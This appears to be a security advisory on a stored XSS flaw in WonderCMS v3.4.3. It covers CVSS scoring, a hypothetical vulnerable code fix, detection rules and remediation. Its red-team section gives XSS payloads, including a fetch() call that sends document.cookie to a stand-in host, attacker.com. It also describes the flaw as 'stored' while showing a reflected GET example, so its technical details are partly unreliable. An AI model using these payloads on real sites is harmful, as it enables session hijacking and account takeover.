CVE-2024-32339

Executive Summary

CVE-2024-32339 identifies multiple stored cross-site scripting (XSS) vulnerabilities in the "HOW TO" page of WonderCMS v3.4.3. An attacker can inject arbitrary web scripts or HTML into any parameter of the "HOW TO" page, leading to persistent XSS. This vulnerability requires user interaction (admin visiting the page) but can be exploited without authentication if the "HOW TO" page is publicly accessible. The CVSS score is 0.0 in the NVD due to incomplete data, but based on the vector, the actual severity is Medium (4.3). No official patch exists, and the vendor has not responded to disclosures.

Supply Chain & Package Security

WonderCMS is a flat-file PHP CMS distributed via GitHub and its official website. There is no NPM, PyPI, Go, or Ruby package involved. The vulnerability exists in the core application code, not in a third-party dependency. Users should verify the integrity of their downloaded package by checking SHA-256 hashes against the official release.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed to access the "HOW TO" page.
• User Interaction (UI): Required (R) – victim must visit the malicious page.
• Scope (S): Changed (C) – XSS can impact resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – limited data exposure.
• Integrity (I): Low (L) – limited ability to modify content.
• Availability (A): None (N) – no impact on availability.

Threat Level: Medium (4.3) – persistent XSS with low complexity but requires user interaction.

Deep Dive & Mechanics

The vulnerability resides in the how-to page of WonderCMS v3.4.3. The application does not sanitize or escape user-supplied input before rendering it on the page. An attacker can craft a URL or POST request containing malicious JavaScript in any parameter (e.g., ?param=<script>alert(1)</script>). When an administrator or any user visits the "HOW TO" page, the script executes in their browser context.

The root cause is the lack of output encoding in the template file responsible for rendering the "HOW TO" page. The application uses PHP's echo or similar functions without htmlspecialchars() or htmlentities().

Attack Flow:

1. Attacker identifies a WonderCMS instance with the "HOW TO" page enabled.
2. Attacker sends a crafted request to the vulnerable page with XSS payload in a parameter.
3. The payload is stored in the flat-file database (or directly rendered if not stored).
4. Victim (admin or user) visits the "HOW TO" page.
5. Malicious script executes, potentially stealing cookies, redirecting, or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (v3.4.3):

// In the how-to page template (e.g., themes/default/how-to.php)
echo $_GET['param'];

Patched Code (hypothetical):

// Proper output encoding
echo htmlspecialchars($_GET['param'], ENT_QUOTES, 'UTF-8');

Since no official patch exists, users must manually apply the fix by editing the template file and adding htmlspecialchars() to all output of user-controlled parameters.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WonderCMS v3.4.3 installed and running.
• "HOW TO" page accessible (default: /how-to).

Exploit Steps:

1. Identify the vulnerable parameter (e.g., title, content, or any custom parameter).
2. Craft a payload:

   <script>alert(document.cookie)</script>
   

3. Send a GET request:

   http://target.com/how-to?title=<script>alert(document.cookie)</script>
   

4. Alternatively, use a POST request if the page accepts form data.

Advanced Payload (cookie theft):

<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>

Metasploit Module (if available): Not available for this CVE.

Blue Team

Detection:

• Monitor web server logs for requests containing <script> tags in query parameters.
• Look for unusual parameters in the /how-to path.
• Use WAF rules to block XSS patterns.

Honeypot:

• Deploy a fake WonderCMS instance and monitor for XSS payloads.

Lab Setup:

1. Install Docker and pull a WonderCMS v3.4.3 image (if available) or manually install.
2. Enable the "HOW TO" page in the admin panel.
3. Access the page and inject payloads to observe behavior.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /how-to with parameters containing <script>, onerror=, javascript:.
  • Outbound connections to attacker-controlled domains from the CMS server.
• File IOCs:
  • Modified flat-file database entries containing JavaScript code.
  • Suspicious entries in database.js or similar files.
• Behavioral IOCs:
  • Unexpected redirects or pop-ups when visiting the "HOW TO" page.
  • Unauthorized admin actions (e.g., user creation) performed via XSS.

Detection Engineering

YARA Rule

rule CVE_2024_32339_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting WonderCMS HOW TO page"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-32339"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/i
        $xss3 = /javascript\s*:\s*/i
        $param = /how-to\?[^&\s]*=/
    condition:
        any of ($xss*) and $param
}

Sigma Rule

title: WonderCMS HOW TO Page XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS payloads in requests to WonderCMS HOW TO page
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'javascript:'
        cs-uri-stem|endswith: '/how-to'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in parameters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-32339 WonderCMS HOW TO XSS Attempt"; flow:to_server,established; content:"/how-to"; http_uri; pcre:"/(<script|onerror=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the "HOW TO" page if not needed: In the admin panel, remove or hide the page.
2. Apply manual patch: Edit the template file (e.g., themes/default/how-to.php) and wrap all user-controlled output with htmlspecialchars().
3. Use a Web Application Firewall (WAF): Block requests containing XSS patterns.
4. Upgrade: Monitor for official updates from WonderCMS. If none, consider migrating to a supported CMS.

Long-term:

• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Conduct regular security audits of custom code.
• Educate administrators on the risks of enabling unnecessary pages.

Valters IT Signature

Report generated by Valters IT DevSecOps Framework
CVE-2024-32339 | WonderCMS v3.4.3 | Stored XSS
Contact: security@valters-it.com